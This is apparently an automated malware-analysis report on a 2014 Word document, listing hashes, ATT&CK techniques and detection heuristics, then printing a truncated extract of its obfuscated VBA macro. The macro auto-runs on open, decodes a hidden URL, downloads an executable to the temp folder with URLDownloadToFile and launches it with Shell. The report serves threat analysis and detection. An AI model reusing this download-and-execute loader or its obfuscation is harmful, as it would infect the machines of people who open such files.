Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eea32a2b11f0bf49…

MALICIOUS

Office (OLE)

65.5 KB Created: 2014-11-24 10:22:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: bcd3323bea1ff0822af47cbdaf645220 SHA-1: 3d60342f75246c626792fa7cae27e40391b07d8b SHA-256: eea32a2b11f0bf499eef33470fc5159bb29d4450955b5be7e566ff4fb86b59aa
406 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample is a malicious Office document containing obfuscated VBA macros. The macros utilize the URLDownloadToFile API, indicating an intent to download and execute a second-stage payload from a remote source. This is further supported by critical heuristic firings related to VBA execution and URL downloading.

Heuristics 12

  • ClamAV: Doc.Downloader.Macr-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Macr-2
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        eFdsgfsdf = Shell(pHUIdsfdsf, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        eFdsgfsdf = Shell(pHUIdsfdsf, 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        pHUIdsfdsf = Environ(HexToString("54454D50")) & HexToString("5C76474A736466624A484B6473662E657865")
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 20158 bytes
SHA-256: 2fa1dd9308a3e2c022fc071fbb07cdbdf761035bfc613bee9f68b85ba7579409
Detection
ClamAV: No threats found
Obfuscation or payload: likely
142 of 213 identifiers look randomly generated (e.g. 'pHUIdsfdsf') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr) As LongPtr
#Else
    Private Declare Function URLDownloadToFile Lib "urlmon" Alias _
    "URLDownloadToFileA" (ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long
#End If


Sub FUJdsfFF()

Dim onOImAGL As Integer

Dim gVrscpjD As Integer

Dim hHOWWjbQ As Integer
hHOWWjbQ = 1
Do While hHOWWjbQ < 72
DoEvents: hHOWWjbQ = hHOWWjbQ + 1
Loop

gVrscpjD = 3
Do While gVrscpjD < 12

Dim llSODdsW As Integer
llSODdsW = 4
Do While llSODdsW < 77
DoEvents: llSODdsW = llSODdsW + 1
Loop

DoEvents: gVrscpjD = gVrscpjD + 1

Dim elUrgZPg As Integer
elUrgZPg = 8
Do While elUrgZPg < 86
DoEvents: elUrgZPg = elUrgZPg + 1
Loop

Loop


Dim LnAAEDND As Integer
LnAAEDND = 6
Do While LnAAEDND < 67
DoEvents: LnAAEDND = LnAAEDND + 1
Loop

onOImAGL = 2
Do While onOImAGL < 69

Dim ttVOSmYq As Integer

Dim lAXCAjVL As Integer
lAXCAjVL = 2
Do While lAXCAjVL < 27
DoEvents: lAXCAjVL = lAXCAjVL + 1
Loop

ttVOSmYq = 2
Do While ttVOSmYq < 83

Dim anNRJYwm As Integer
anNRJYwm = 1
Do While anNRJYwm < 87
DoEvents: anNRJYwm = anNRJYwm + 1
Loop

DoEvents: ttVOSmYq = ttVOSmYq + 1

Dim EgAvDrgN As Integer
EgAvDrgN = 3
Do While EgAvDrgN < 73
DoEvents: EgAvDrgN = EgAvDrgN + 1
Loop

Loop


Dim BGFxWEBE As Integer
BGFxWEBE = 7
Do While BGFxWEBE < 18
DoEvents: BGFxWEBE = BGFxWEBE + 1
Loop

DoEvents: onOImAGL = onOImAGL + 1

Dim YLbEILbH As Integer

Dim USzkBLms As Integer
USzkBLms = 7
Do While USzkBLms < 74
DoEvents: USzkBLms = USzkBLms + 1
Loop

YLbEILbH = 4
Do While YLbEILbH < 78

Dim kYEgOsrM As Integer
kYEgOsrM = 1
Do While kYEgOsrM < 18
DoEvents: kYEgOsrM = kYEgOsrM + 1
Loop

DoEvents: YLbEILbH = YLbEILbH + 1

Dim kRSZcdez As Integer
kRSZcdez = 4
Do While kRSZcdez < 79
DoEvents: kRSZcdez = kRSZcdez + 1
Loop

Loop


Dim DiIMoHeK As Integer
DiIMoHeK = 7
Do While DiIMoHeK < 25
DoEvents: DiIMoHeK = DiIMoHeK + 1
Loop

Loop


Dim hFWJmrYt As Integer

Dim EqXLaagR As Integer
EqXLaagR = 3
Do While EqXLaagR < 72
DoEvents: EqXLaagR = EqXLaagR + 1
Loop

hFWJmrYt = 1
Do While hFWJmrYt < 72

Dim QgtpZXeG As Integer
QgtpZXeG = 5
Do While QgtpZXeG < 83
DoEvents: QgtpZXeG = QgtpZXeG + 1
Loop

DoEvents: hFWJmrYt = hFWJmrYt + 1

Dim KbUCXFUS As Integer
KbUCXFUS = 8
Do While KbUCXFUS < 67
DoEvents: KbUCXFUS = KbUCXFUS + 1
Loop

Loop


Dim DiUVMCVs As Integer
DiUVMCVs = 7
Do While DiUVMCVs < 54
DoEvents: DiUVMCVs = DiUVMCVs + 1
Loop

pHUgdsf
End Sub
Sub AutoOpen()

Dim GHfjoXwI As Integer

Dim RrEuvFPw As Integer

Dim jOgmvxII As Integer
jOgmvxII = 4
Do While jOgmvxII < 71
DoEvents: jOgmvxII = jOgmvxII + 1
Loop

RrEuvFPw = 4
Do While RrEuvFPw < 43

Dim rpbTcQis As Integer
rpbTcQis = 1
Do While rpbTcQis < 56
DoEvents: rpbTcQis = rpbTcQis + 1
Loop

DoEvents: RrEuvFPw = RrEuvFPw + 1

Dim kEKoHcEt As Integer
kEKoHcEt = 1
Do While kEKoHcEt < 17
DoEvents: kEKoHcEt = kEKoHcEt + 1
Loop

Loop


Dim trzlGSeU As Integer
trzlGSeU = 2
Do While trzlGSeU < 83
DoEvents: trzlGSeU = trzlGSeU + 1
Loop

GHfjoXwI = 8
Do While GHfjoXwI < 51

Dim fVrtiule As Integer

Dim QkHgluUE As Integer
QkHgluUE = 7
Do While QkHgluUE < 55
DoEvents: QkHgluUE = QkHgluUE + 1
Loop

fVrtiule = 1
Do While fVrtiule < 12

Dim kTUBSEnj As Integer
kTUBSEnj = 4
Do While kTUBSEnj < 42
DoEvents: kTUBSEnj = kTUBSEnj + 1
Loop

DoEvents: fVrtiule = fVrtiule + 1

Dim vHqDywtf As Integer
vHqDywtf = 5
Do While vHqDywtf < 82
DoEvents: vHqDywtf = vHqDywtf + 1
Loop

Loop


Dim VWsUAVut As Integer
VWsUAVut = 9
Do While VWsUAVut < 43
DoEvents: VWsUAVut = VWsUAVut + 1
Loop

DoEvents: GHfjoXwI = GHfjoXwI + 1

Dim gXfkXukq As Integer

Dim cBxGPnur As Integer
cBxGPnur = 2
Do While cBxGPnur < 22
DoEvents: cBxGPnur = cBxGPnur + 1
Loop

gXfkXukq = 3
Do While gXfkXukq < 73

Dim IOhlZkQp As Integer
IOhlZkQp = 4
Do While IOhlZkQp < 48
DoEvents: IOhlZkQp = IOhlZkQp + 1
Loop

DoEvents: gXfkXukq = gXfkXukq + 1

Dim ZlyyQbrA As Integer
ZlyyQbrA = 3
Do While ZlyyQbrA < 74
DoEvents: ZlyyQbrA = ZlyyQbrA + 1
Loop

Loop


Dim DrVPZjIU As Integer
DrVPZjIU = 5
Do While DrVPZjIU < 81
DoEvents: DrVPZjIU = DrVPZjIU + 1
Loop

Loop


Dim qhAjHodv As Integer

Dim vKVKSKJC As Integer
vKVKSKJC = 3
Do While vKVKSKJC < 83
DoEvents: vKVKSKJC = vKVKSKJC + 1
Loop

qhAjHodv = 9
Do While qhAjHodv < 43

Dim PZHwRIwe As Integer
PZHwRIwe = 7
Do While PZHwRIwe < 19
DoEvents: PZHwRIwe = PZHwRIwe + 1
Loop

DoEvents: qhAjHodv = qhAjHodv + 1

Dim gCzEGztZ As Integer
gCzEGztZ = 1
Do While gCzEGztZ < 12
DoEvents: gCzEGztZ = gCzEGztZ + 1
Loop

Loop


Dim nUMuULOI As Integer
nUMuULOI = 3
Do While nUMuULOI < 38
DoEvents: nUMuULOI = nUMuULOI + 1
Loop

    FUJdsfFF
End Sub
Sub Workbook_Open()

Dim AlqbZoUs As Integer

Dim RuhoEKkH As Integer

Dim dsDIRhxi As Integer
dsDIRhxi = 1
Do While dsDIRhxi < 42
DoEvents: dsDIRhxi = dsDIRhxi + 1
Loop

RuhoEKkH = 6
Do While RuhoEKkH < 43

Dim jFHxcspk As Integer
jFHxcspk = 1
Do While jFHxcspk < 57
DoEvents: jFHxcspk = jFHxcspk + 1
Loop

DoEvents: RuhoEKkH = RuhoEKkH + 1

Dim wfydWqpb As Integer
wfydWqpb = 4
Do While wfydWqpb < 25
DoEvents: wfydWqpb = wfydWqpb + 1
Loop

Loop


Dim tiYpRELi As Integer
tiYpRELi = 2
Do While tiYpRELi < 27
DoEvents: tiYpRELi = tiYpRELi + 1
Loop

AlqbZoUs = 3
Do While AlqbZoUs < 64

Dim SqbbyDua As Integer

Dim yBlsPRDQ As Integer
yBlsPRDQ = 8
Do While yBlsPRDQ < 82
DoEvents: yBlsPRDQ = yBlsPRDQ + 1
Loop

SqbbyDua = 7
Do While SqbbyDua < 78

Dim OTnOGyJR As Integer
OTnOGyJR = 4
Do While OTnOGyJR < 48
DoEvents: OTnOGyJR = OTnOGyJR + 1
Loop

DoEvents: SqbbyDua = SqbbyDua + 1

Dim aTZbxDek As Integer
aTZbxDek = 1
Do While aTZbxDek < 49
DoEvents: aTZbxDek = aTZbxDek + 1
Loop

Loop


Dim EfRdRuRJ As Integer
EfRdRuRJ = 3
Do While EfRdRuRJ < 73
DoEvents: EfRdRuRJ = EfRdRuRJ + 1
Loop

DoEvents: AlqbZoUs = AlqbZoUs + 1

Dim fBalzqNT As Integer

Dim pbTqSExS As Integer
pbTqSExS = 3
Do While pbTqSExS < 97
DoEvents: pbTqSExS = pbTqSExS + 1
Loop

fBalzqNT = 3
Do While fBalzqNT < 64

Dim YVCJKqII As Integer
YVCJKqII = 6
Do While YVCJKqII < 42
DoEvents: YVCJKqII = YVCJKqII + 1
Loop

DoEvents: fBalzqNT = fBalzqNT + 1

Dim JPYiWagU As Integer
JPYiWagU = 6
Do While JPYiWagU < 21
DoEvents: JPYiWagU = JPYiWagU + 1
Loop

Loop


Dim lxkhTbul As Integer
lxkhTbul = 4
Do While lxkhTbul < 78
DoEvents: lxkhTbul = lxkhTbul + 1
Loop

Loop


Dim OZXQDGNw As Integer

Dim JSvDIoAQ As Integer
JSvDIoAQ = 8
Do While JSvDIoAQ < 22
DoEvents: JSvDIoAQ = JSvDIoAQ + 1
Loop

OZXQDGNw = 7
Do While OZXQDGNw < 19

Dim teaRGXXQ As Integer
teaRGXXQ = 2
Do While teaRGXXQ < 55
DoEvents: teaRGXXQ = teaRGXXQ + 1
Loop

DoEvents: OZXQDGNw = OZXQDGNw + 1

Dim jGPMKSAO As Integer
jGPMKSAO = 1
Do While jGPMKSAO < 19
DoEvents: jGPMKSAO = jGPMKSAO + 1
Loop

Loop


Dim rqjmqefl As Integer
rqjmqefl = 1
Do While rqjmqefl < 84
DoEvents: rqjmqefl = rqjmqefl + 1
Loop

    FUJdsfFF
End Sub
Sub pHUgdsf()

Dim YMcAptkZ As Integer

Dim nElVlNph As Integer

Dim ouChrOFS As Integer
ouChrOFS = 2
Do While ouChrOFS < 65
DoEvents: ouChrOFS = ouChrOFS + 1
Loop

nElVlNph = 3
Do While nElVlNph < 37

Dim CZRGcNnw As Integer
CZRGcNnw = 9
Do While CZRGcNnw < 39
DoEvents: CZRGcNnw = CZRGcNnw + 1
Loop

DoEvents: nElVlNph = nElVlNph + 1

Dim MMrGXtII As Integer
MMrGXtII = 6
Do While MMrGXtII < 61
DoEvents: MMrGXtII = MMrGXtII + 1
Loop

Loop


Dim MHcjbtTC As Integer
MHcjbtTC = 6
Do While MHcjbtTC < 69
DoEvents: MHcjbtTC = MHcjbtTC + 1
Loop

YMcAptkZ = 6
Do While YMcAptkZ < 65

Dim AbSvXauR As Integer

Dim arSpIiDI As Integer
arSpIiDI = 1
Do While arSpIiDI < 73
DoEvents: arSpIiDI = arSpIiDI + 1
Loop

AbSvXauR = 5
Do While AbSvXauR < 37

Dim UkEMzRUw As Integer
UkEMzRUw = 7
Do While UkEMzRUw < 45
DoEvents: UkEMzRUw = UkEMzRUw + 1
Loop

DoEvents: AbSvXauR = AbSvXauR + 1

Dim RIeMAIHI As Integer
RIeMAIHI = 4
Do While RIeMAIHI < 76
DoEvents: RIeMAIHI = RIeMAIHI + 1
Loop

Loop


Dim rFtFCsKb As Integer
rFtFCsKb = 8
Do While rFtFCsKb < 52
DoEvents: rFtFCsKb = rFtFCsKb + 1
Loop

DoEvents: YMcAptkZ = YMcAptkZ + 1

Dim GKtegDZc As Integer

Dim lNubgLMm As Integer
lNubgLMm = 2
Do While lNubgLMm < 22
DoEvents: lNubgLMm = lNubgLMm + 1
Loop

GKtegDZc = 5
Do While GKtegDZc < 98

Dim KNTIrcol As Integer
KNTIrcol = 6
Do While KNTIrcol < 62
DoEvents: KNTIrcol = KNTIrcol + 1
Loop

DoEvents: GKtegDZc = GKtegDZc + 1

Dim fADzmtxi As Integer
fADzmtxi = 3
Do While fADzmtxi < 69
DoEvents: fADzmtxi = fADzmtxi + 1
Loop

Loop


Dim YlwwqGKp As Integer
YlwwqGKp = 6
Do While YlwwqGKp < 17
DoEvents: YlwwqGKp = YlwwqGKp + 1
Loop

Loop


Dim CXflHUkI As Integer

Dim rOZLfbfA As Integer
rOZLfbfA = 8
Do While rOZLfbfA < 26
DoEvents: rOZLfbfA = rOZLfbfA + 1
Loop

CXflHUkI = 7
Do While CXflHUkI < 19

Dim WQLYXSGt As Integer
WQLYXSGt = 7
Do While WQLYXSGt < 17
DoEvents: WQLYXSGt = WQLYXSGt + 1
Loop

DoEvents: CXflHUkI = CXflHUkI + 1

Dim jsaNfleM As Integer
jsaNfleM = 4
Do While jsaNfleM < 14
DoEvents: jsaNfleM = jsaNfleM + 1
Loop

Loop


Dim wOnebkzq As Integer
wOnebkzq = 4
Do While wOnebkzq < 43
DoEvents: wOnebkzq = wOnebkzq + 1
Loop

    pGYdsfsdf = HexToString(StrReverse("078607E2963707F607F2963707F6D6F203830383A3034313E2033323E2730323E24373F2F2A307474786"))

Dim zwYMnQTk As Integer

Dim PmIJRXGl As Integer

Dim MWCcfpCe As Integer
MWCcfpCe = 9
Do While MWCcfpCe < 33
DoEvents: MWCcfpCe = MWCcfpCe + 1
Loop

PmIJRXGl = 7
Do While PmIJRXGl < 79

Dim QCdqXcvU As Integer
QCdqXcvU = 7
Do While QCdqXcvU < 14
DoEvents: QCdqXcvU = QCdqXcvU + 1
Loop

DoEvents: PmIJRXGl = PmIJRXGl + 1

Dim yvwRfrSx As Integer
yvwRfrSx = 8
Do While yvwRfrSx < 86
DoEvents: yvwRfrSx = yvwRfrSx + 1
Loop

Loop


Dim EKpnDDqb As Integer
EKpnDDqb = 6
Do While EKpnDDqb < 31
DoEvents: EKpnDDqb = EKpnDDqb + 1
Loop

zwYMnQTk = 1
Do While zwYMnQTk < 48

Dim yVEohnGo As Integer

Dim HlJMAUVN As Integer
HlJMAUVN = 8
Do While HlJMAUVN < 66
DoEvents: HlJMAUVN = HlJMAUVN + 1
Loop

yVEohnGo = 8
Do While yVEohnGo < 82

Dim lNBkYizK As Integer
lNBkYizK = 4
Do While lNBkYizK < 46
DoEvents: lNBkYizK = lNBkYizK + 1
Loop

DoEvents: yVEohnGo = yVEohnGo + 1

Dim UhInwGiv As Integer
UhInwGiv = 7
Do While UhInwGiv < 17
DoEvents: UhInwGiv = UhInwGiv + 1
Loop

Loop


Dim CAYUXRFT As Integer
CAYUXRFT = 9
Do While CAYUXRFT < 39
DoEvents: CAYUXRFT = CAYUXRFT + 1
Loop

DoEvents: zwYMnQTk = zwYMnQTk + 1

Dim QfqTWCPF As Integer

Dim lMRJpfqH As Integer
lMRJpfqH = 2
Do While lMRJpfqH < 21
DoEvents: lMRJpfqH = lMRJpfqH + 1
Loop

QfqTWCPF = 7
Do While QfqTWCPF < 26

Dim ZCDiSoNa As Integer
ZCDiSoNa = 3
Do While ZCDiSoNa < 32
DoEvents: ZCDiSoNa = ZCDiSoNa + 1
Loop

DoEvents: QfqTWCPF = QfqTWCPF + 1

Dim OeSqbeHr As Integer
OeSqbeHr = 5
Do While OeSqbeHr < 81
DoEvents: OeSqbeHr = OeSqbeHr + 1
Loop

Loop


Dim RUonJglO As Integer
RUonJglO = 4
Do While RUonJglO < 76
DoEvents: RUonJglO = RUonJglO + 1
Loop

Loop


Dim vFwHMspk As Integer

Dim mJPnrJHi As Integer
mJPnrJHi = 2
Do While mJPnrJHi < 83
DoEvents: mJPnrJHi = mJPnrJHi + 1
Loop

vFwHMspk = 5
Do While vFwHMspk < 82

Dim odkNcoAJ As Integer
odkNcoAJ = 2
Do While odkNcoAJ < 56
DoEvents: odkNcoAJ = odkNcoAJ + 1
Loop

DoEvents: vFwHMspk = vFwHMspk + 1

Dim zViDUjMo As Integer
zViDUjMo = 8
Do While zViDUjMo < 82
DoEvents: zViDUjMo = zViDUjMo + 1
Loop

Loop


Dim HlFdNIYK As Integer
HlFdNIYK = 6
Do While HlFdNIYK < 66
DoEvents: HlFdNIYK = HlFdNIYK + 1
Loop

    pHUIdsfdsf = Environ(HexToString("54454D50")) & HexToString("5C76474A736466624A484B6473662E657865")

Dim hFBvLczq As Integer

Dim sdGfInUz As Integer

Dim rDzpXTRU As Integer
rDzpXTRU = 8
Do While rDzpXTRU < 27
DoEvents: rDzpXTRU = rDzpXTRU + 1
Loop

sdGfInUz = 9
Do While sdGfInUz < 94

Dim EGmOFzhs As Integer
EGmOFzhs = 3
Do While EGmOFzhs < 78
DoEvents: EGmOFzhs = EGmOFzhs + 1
Loop

DoEvents: sdGfInUz = sdGfInUz + 1

Dim GcbhqWoh As Integer
GcbhqWoh = 8
Do While GcbhqWoh < 56
DoEvents: GcbhqWoh = GcbhqWoh + 1
Loop

Loop


Dim wPjNTlzr As Integer
wPjNTlzr = 5
Do While wPjNTlzr < 29
DoEvents: wPjNTlzr = wPjNTlzr + 1
Loop

hFBvLczq = 1
Do While hFBvLczq < 19

Dim QlJoeeOL As Integer

Dim ijezTJuf As Integer
ijezTJuf = 9
Do While ijezTJuf < 95
DoEvents: ijezTJuf = ijezTJuf + 1
Loop

QlJoeeOL = 7
Do While QlJoeeOL < 55

Dim fIBmsLkO As Integer
fIBmsLkO = 1
Do While fIBmsLkO < 18
DoEvents: fIBmsLkO = fIBmsLkO + 1
Loop

DoEvents: QlJoeeOL = QlJoeeOL + 1

Dim DFXQHEVD As Integer
DFXQHEVD = 7
Do While DFXQHEVD < 22
DoEvents: DFXQHEVD = DFXQHEVD + 1
Loop

Loop


Dim QBzgcPjf As Integer
QBzgcPjf = 7
Do While QBzgcPjf < 14
DoEvents: QBzgcPjf = QBzgcPjf + 1
Loop

DoEvents: hFBvLczq = hFBvLczq + 1

Dim QhNwJeIa As Integer

Dim oswDtxNR As Integer
oswDtxNR = 2
Do While oswDtxNR < 94
DoEvents: oswDtxNR = oswDtxNR + 1
Loop

QhNwJeIa = 5
Do While QhNwJeIa < 83

Dim iwAjDRlr As Integer
iwAjDRlr = 2
Do While iwAjDRlr < 96
DoEvents: iwAjDRlr = iwAjDRlr + 1
Loop

DoEvents: QhNwJeIa = QhNwJeIa + 1

Dim bhNxFgJB As Integer
bhNxFgJB = 3
Do While bhNxFgJB < 63
DoEvents: bhNxFgJB = bhNxFgJB + 1
Loop

Loop


Dim puKNWZql As Integer
puKNWZql = 9
Do While puKNWZql < 65
DoEvents: puKNWZql = puKNWZql + 1
Loop

Loop


Dim vHqYHkuR As Integer

Dim RQQvzlzC As Integer
RQQvzlzC = 6
Do While RQQvzlzC < 91
DoEvents: RQQvzlzC = RQQvzlzC + 1
Loop

vHqYHkuR = 3
Do While vHqYHkuR < 68

Dim ikLXyMyH As Integer
ikLXyMyH = 2
Do While ikLXyMyH < 57
DoEvents: ikLXyMyH = ikLXyMyH + 1
Loop

DoEvents: vHqYHkuR = vHqYHkuR + 1

Dim lBVAEDVM As Integer
lBVAEDVM = 2
Do While lBVAEDVM < 22
DoEvents: lBVAEDVM = lBVAEDVM + 1
Loop

Loop


Dim OsCIrZRa As Integer
OsCIrZRa = 4
Do While OsCIrZRa < 44
DoEvents: OsCIrZRa = OsCIrZRa + 1
Loop

    DDdsfF = URLDownloadToFile(0&, pGYdsfsdf, pHUIdsfdsf, 0&, 0&)
   Dim eFdsgfsdf

Dim VDeuoDvD As Integer

Dim ZgUWsgJz As Integer

Dim ZeuzzfOu As Integer
ZeuzzfOu = 6
Do While ZeuzzfOu < 33
DoEvents: ZeuzzfOu = ZeuzzfOu + 1
Loop

ZgUWsgJz = 6
Do While ZgUWsgJz < 97

Dim QaQIVqOv As Integer
QaQIVqOv = 7
Do While QaQIVqOv < 76
DoEvents: QaQIVqOv = QaQIVqOv + 1
Loop

DoEvents: ZgUWsgJz = ZgUWsgJz + 1

Dim GnavwpPU As Integer
GnavwpPU = 8
Do While GnavwpPU < 29
DoEvents: GnavwpPU = GnavwpPU + 1
Loop

Loop


Dim HlQRwtjO As Integer
HlQRwtjO = 8
Do While HlQRwtjO < 27
DoEvents: HlQRwtjO = HlQRwtjO + 1
Loop

VDeuoDvD = 7
Do While VDeuoDvD < 79

Dim FBbbetwi As Integer

Dim lymMAHNo As Integer
lymMAHNo = 4
Do While lymMAHNo < 75
DoEvents: lymMAHNo = lymMAHNo + 1
Loop

FBbbetwi = 8
Do While FBbbetwi < 24

Dim NfILghyz As Integer
NfILghyz = 7
Do While NfILghyz < 23
DoEvents: NfILghyz = NfILghyz + 1
Loop

DoEvents: FBbbetwi = FBbbetwi + 1

Dim PtwKRQrO As Integer
PtwKRQrO = 7
Do While PtwKRQrO < 53
DoEvents: PtwKRQrO = PtwKRQrO + 1
Loop

Loop


Dim vvizMpkS As Integer
vvizMpkS = 5
Do While vvizMpkS < 37
DoEvents: vvizMpkS = vvizMpkS + 1
Loop

DoEvents: VDeuoDvD = VDeuoDvD + 1

Dim IOhddfFb As Integer

Dim IjlqBqEk As Integer
…

Open this report in the interactive analyzer, or submit your own file for analysis.